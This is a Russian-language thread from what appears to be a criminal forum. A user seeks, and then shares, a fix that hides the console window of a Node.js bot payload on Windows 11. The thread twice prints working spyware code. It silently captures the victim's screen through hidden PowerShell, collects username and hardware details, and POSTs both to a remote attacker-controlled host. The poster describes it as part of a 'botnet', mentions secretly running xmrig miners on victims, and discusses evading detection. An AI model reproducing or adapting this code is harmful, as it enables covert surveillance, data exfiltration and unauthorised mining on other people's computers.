What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Как байпасить появление терминала на 11 винде?

_lain

Midle Weight
Депозит
$0
В общем суть такая, беру скриншот на ноде JS. Соответсвенно через обычную ноду тебе просто так не дадут это сделать. Я же делаю скриншот через PS.
Но при этом у юзера спавнится Терминал какого то хера, когда на 10-ке нету.
Вот темплейт команды который выполняется у юзера:
JavaScript: Скопировать в буфер обмена
Code:
module.exports = function generateScript(storedString, uuid) {
  return `
    const { exec } = require('child_process');
    const fs = require('fs');
    const path = require('path');
    const os = require('os');
    const crypto = require('crypto');
    const http = require('http');
    const https = require('https');
    const url = require('url');

    function generateUniqueFilename() {
      return \`screenshot-\${crypto.randomUUID()}.png\`;
    }

    const tempDir = os.tmpdir();
    const screenshotPath = path.join(tempDir, generateUniqueFilename());

    const psScript = \`
    Add-Type -AssemblyName System.Windows.Forms;
    Add-Type -AssemblyName System.Drawing;
    $bitmap = New-Object Drawing.Bitmap([System.Windows.Forms.SystemInformation]::VirtualScreen.Width, [System.Windows.Forms.SystemInformation]::VirtualScreen.Height);
    $graphics = [Drawing.Graphics]::FromImage($bitmap);
    $graphics.CopyFromScreen([System.Windows.Forms.SystemInformation]::VirtualScreen.Left, [System.Windows.Forms.SystemInformation]::VirtualScreen.Top, 0, 0, $bitmap.Size);
    $bitmap.Save('\${screenshotPath}', [System.Drawing.Imaging.ImageFormat]::Png);
    $graphics.Dispose();
    $bitmap.Dispose();
    \`;

    function createScreenshot() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "\${psScript.replace(/\\n/g, ' ')}"\`;
        exec(psCommand, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout);
          }
        });
      });
    }

    function getGPUInfo() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"\`;
        exec(psCommand, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout.trim());
          }
        });
      });
    }

    function convertToBase64(filePath) {
      return new Promise((resolve, reject) => {
        fs.readFile(filePath, (err, data) => {
          if (err) {
            reject(err);
          } else {
            resolve(data.toString('base64'));
          }
        });
      });
    }

    function getSystemInfo() {
      const cpus = os.cpus();
      const totalMemoryGB = (os.totalmem() / (1024 ** 3)).toFixed(2);
      const freeMemoryGB = (os.freemem() / (1024 ** 3)).toFixed(2);
      const usedMemoryGB = (totalMemoryGB - freeMemoryGB).toFixed(2);
      return {
        username: os.userInfo().username,
        osType: os.type(),
        osRelease: os.release(),
        totalMemoryGB: totalMemoryGB,
        usedMemoryGB: usedMemoryGB,
        freeMemoryGB: freeMemoryGB,
        cpuModel: cpus[0].model,
        cpuSpeed: cpus[0].speed,
        cpuCores: cpus.length,
      };
    }

    function sendPostRequest(urlString, data, contentType = 'application/json') {
      return new Promise((resolve, reject) => {
        const parsedUrl = url.parse(urlString);
        const isHttps = parsedUrl.protocol === 'https:';
        const options = {
          hostname: parsedUrl.hostname,
          port: parsedUrl.port,
          path: parsedUrl.path,
          method: 'POST',
          headers: {
            'Content-Type': contentType,
            'Content-Length': Buffer.byteLength(data),
          },
        };

        const req = (isHttps ? https : http).request(options, (res) => {
          let responseBody = '';
          res.on('data', (chunk) => {
            responseBody += chunk;
          });
          res.on('end', () => {
            resolve(responseBody);
          });
        });

        req.on('error', (e) => {
          reject(\`Problem with request: \${e.message}\`);
        });

        req.write(data);
        req.end();
      });
    }

    async function sendScreenshot() {
      try {
        await createScreenshot();

        const base64Image = await convertToBase64(screenshotPath);

        const systemInfo = getSystemInfo();
        const gpuInfo = await getGPUInfo();
        systemInfo.gpu = gpuInfo;

        const imageUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.png\`;
        const jsonUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.json\`;

        await sendPostRequest(imageUrl, base64Image, 'application/octet-stream');
        await sendPostRequest(jsonUrl, JSON.stringify(systemInfo), 'application/octet-stream');

        fs.unlink(screenshotPath, (err) => {
          if (err) {
            console.error('Error deleting screenshot:', err);
          } else {
            console.log('Screenshot deleted successfully');
          }
        });
      } catch (error) {
        console.error('Error:', error);
      }
    }

    sendScreenshot();
  `;
}

Я бы хотел бы делать скриншот каждое какое то определенное время, но меня спавн консоли напрягает. Есть какие то варианы ничего не догружая и использовать тот же рантайм ноды?

1719752931982.png


1719752998421.png
 
Проблему все еще не решил, но терминал не скрывается лишь на некоторых версиях 11 винды, не знаю с чем связанно
 
_lain сказал(а):
не знаю с чем связанно
Нажмите, чтобы раскрыть...
тут пишут, что возможно это связано с версией PS.

-WindowStyle parameter is available only for V2 and above.
Нажмите, чтобы раскрыть...
Попробуй запустить с -Version 2.0

_lain сказал(а):
но терминал не скрывается лишь на некоторых версиях 11 винды
Нажмите, чтобы раскрыть...
Если то, что написал выше правда, то на Windows 11 вторая версия PS отсутствует. По крайней мере у меня нет в C:\Windows\System32\WindowsPowerShell
 
varwar сказал(а):
тут пишут, что возможно это связано с версией PS.


Попробуй запустить с -Version 2.0


Если то, что написал выше правда, то на Windows 11 вторая версия PS отсутствует. По крайней мере у меня нет в C:\Windows\System32\WindowsPowerShell
Нажмите, чтобы раскрыть...
Просто что интересно ведь на 10 windows тоже нет PowerShell 2.0, и при этом ни на одной 10-ке не отображается консоль, а вот уже с 11 виндой не знаю с чем связано, но на некоторых в 70% наверное где то, консоль отображается. Я помню давно пробовал так же майнер сделать, запускал его с параметрами, так как майнер был консольное приложение или вообще впринципе консольное любое приложение я не смог даже скрыть его через ShowWindow SW_HIDE именно на 11, на 10 проблем не было таких. Потом очень глупо было лицезреть у вин11 юзеров окно с xmrig запущеным которое они закрыть не могли). Но вся сложность другая, возможно если бы я использовал не exec или execFile в nodejs я бы как то смог бы запустить, но в данном случаее идет обращение в cmd я попросту не знаю как сделать по другому. Из всего функционала только нативные функций nodejs и я не могу докачивать модули, да и если кастомный модуль допишу будет детект. На интепритируемые языки куда сложней ставить дететы

_lain сказал(а):
Просто что интересно ведь на 10 windows тоже нет PowerShell 2.0, и при этом ни на одной 10-ке не отображается консоль, а вот уже с 11 виндой не знаю с чем связано, но на некоторых в 70% наверное где то, консоль отображается. Я помню давно пробовал так же майнер сделать, запускал его с параметрами, так как майнер был консольное приложение или вообще впринципе консольное любое приложение я не смог даже скрыть его через ShowWindow SW_HIDE именно на 11, на 10 проблем не было таких. Потом очень глупо было лицезреть у вин11 юзеров окно с xmrig запущеным которое они закрыть не могли). Но вся сложность другая, возможно если бы я использовал не exec или execFile в nodejs я бы как то смог бы запустить, но в данном случаее идет обращение в cmd я попросту не знаю как сделать по другому. Из всего функционала только нативные функций nodejs и я не могу докачивать модули, да и если кастомный модуль допишу будет детект. На интепритируемые языки куда сложней ставить дететы
Нажмите, чтобы раскрыть...
вот к примеру подобная проблема про sw_hide

ShowWindow(GetConsoleWindow(), SW_HIDE); does not work with Terminal in Windows 11 · Issue #15311 · microsoft/terminal

I develop small applications using C and Win32 libraries. I typically call ShowWindow(GetConsoleWindow(), SW_HIDE); in my programs so the console/terminal window would become hidden, leaving only t...
github.com

PowerShell argument `WindowStyle -Hidden` is not respected when the default terminal application is Windows Terminal · Issue #12464 · microsoft/terminal

Windows Terminal version 1.12.10393.0 Windows build number Microsoft Windows NT 10.0.22549.0 Other Software Software Version PowerShell.exe Multiple Versions pwsh.exe Multiple Versions Steps to rep...
github.com
 
uintptr сказал(а):
попробуй в exec указать windowsHide
Child process | Node.js v22.3.0 Documentation
Нажмите, чтобы раскрыть...
Омг во первых хочу сказать какой я слепой и не заметил этот параметр.
Во вторых спасибо. Оно заработало

Пробежалься по всем своим ботиком вроде бы ни одну консольку открытую не заметил.
Теперь могу дальше доделывать свой ботнетик :p
Кому нужно код тут оставлю:

JavaScript: Скопировать в буфер обмена
Code:
module.exports = function generateScript(storedString, uuid) {
  return `
    const { exec } = require('child_process');
    const fs = require('fs');
    const path = require('path');
    const os = require('os');
    const crypto = require('crypto');
    const http = require('http');
    const https = require('https');
    const url = require('url');

    function generateUniqueFilename() {
      return \`screenshot-\${crypto.randomUUID()}.png\`;
    }

    const tempDir = os.tmpdir();
    const screenshotPath = path.join(tempDir, generateUniqueFilename());

    const psScript = \`
    Add-Type -AssemblyName System.Windows.Forms;
    Add-Type -AssemblyName System.Drawing;
    $bitmap = New-Object Drawing.Bitmap([System.Windows.Forms.SystemInformation]::VirtualScreen.Width, [System.Windows.Forms.SystemInformation]::VirtualScreen.Height);
    $graphics = [Drawing.Graphics]::FromImage($bitmap);
    $graphics.CopyFromScreen([System.Windows.Forms.SystemInformation]::VirtualScreen.Left, [System.Windows.Forms.SystemInformation]::VirtualScreen.Top, 0, 0, $bitmap.Size);
    $bitmap.Save('\${screenshotPath}', [System.Drawing.Imaging.ImageFormat]::Png);
    $graphics.Dispose();
    $bitmap.Dispose();
    \`;

    function createScreenshot() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "\${psScript.replace(/\\n/g, ' ')}"\`;
        exec(psCommand, { windowsHide: true }, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout);
          }
        });
      });
    }

    function getGPUInfo() {
      return new Promise((resolve, reject) => {
        const psCommand = \`powershell -WindowStyle Hidden -Command "Get-WmiObject Win32_VideoController | Select-Object -ExpandProperty Name"\`;
        exec(psCommand, { windowsHide: true }, (error, stdout, stderr) => {
          if (error) {
            reject(\`Error: \${stderr}\`);
          } else {
            resolve(stdout.trim());
          }
        });
      });
    }

    function convertToBase64(filePath) {
      return new Promise((resolve, reject) => {
        fs.readFile(filePath, (err, data) => {
          if (err) {
            reject(err);
          } else {
            resolve(data.toString('base64'));
          }
        });
      });
    }

    function getSystemInfo() {
      const cpus = os.cpus();
      const totalMemoryGB = (os.totalmem() / (1024 ** 3)).toFixed(2);
      const freeMemoryGB = (os.freemem() / (1024 ** 3)).toFixed(2);
      const usedMemoryGB = (totalMemoryGB - freeMemoryGB).toFixed(2);
      return {
        username: os.userInfo().username,
        osType: os.type(),
        osRelease: os.release(),
        totalMemoryGB: totalMemoryGB,
        usedMemoryGB: usedMemoryGB,
        freeMemoryGB: freeMemoryGB,
        cpuModel: cpus[0].model,
        cpuSpeed: cpus[0].speed,
        cpuCores: cpus.length,
      };
    }

    function sendPostRequest(urlString, data, contentType = 'application/json') {
      return new Promise((resolve, reject) => {
        const parsedUrl = url.parse(urlString);
        const isHttps = parsedUrl.protocol === 'https:';
        const options = {
          hostname: parsedUrl.hostname,
          port: parsedUrl.port,
          path: parsedUrl.path,
          method: 'POST',
          headers: {
            'Content-Type': contentType,
            'Content-Length': Buffer.byteLength(data),
          },
        };

        const req = (isHttps ? https : http).request(options, (res) => {
          let responseBody = '';
          res.on('data', (chunk) => {
            responseBody += chunk;
          });
          res.on('end', () => {
            resolve(responseBody);
          });
        });

        req.on('error', (e) => {
          reject(\`Problem with request: \${e.message}\`);
        });

        req.write(data);
        req.end();
      });
    }

    async function sendScreenshot() {
      try {
        await createScreenshot();

        const base64Image = await convertToBase64(screenshotPath);

        const systemInfo = getSystemInfo();
        const gpuInfo = await getGPUInfo();
        systemInfo.gpu = gpuInfo;

        const imageUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.png\`;
        const jsonUrl = \`http://${storedString}/${encodeURIComponent(uuid)}.json\`;

        await sendPostRequest(imageUrl, base64Image, 'application/octet-stream');
        await sendPostRequest(jsonUrl, JSON.stringify(systemInfo), 'application/octet-stream');

        fs.unlink(screenshotPath, (err) => {
          if (err) {
            console.error('Error deleting screenshot:', err);
          } else {
            console.log('Screenshot deleted successfully');
          }
        });
      } catch (error) {
        console.error('Error:', error);
      }
    }

    sendScreenshot();
  `;
}
 
Top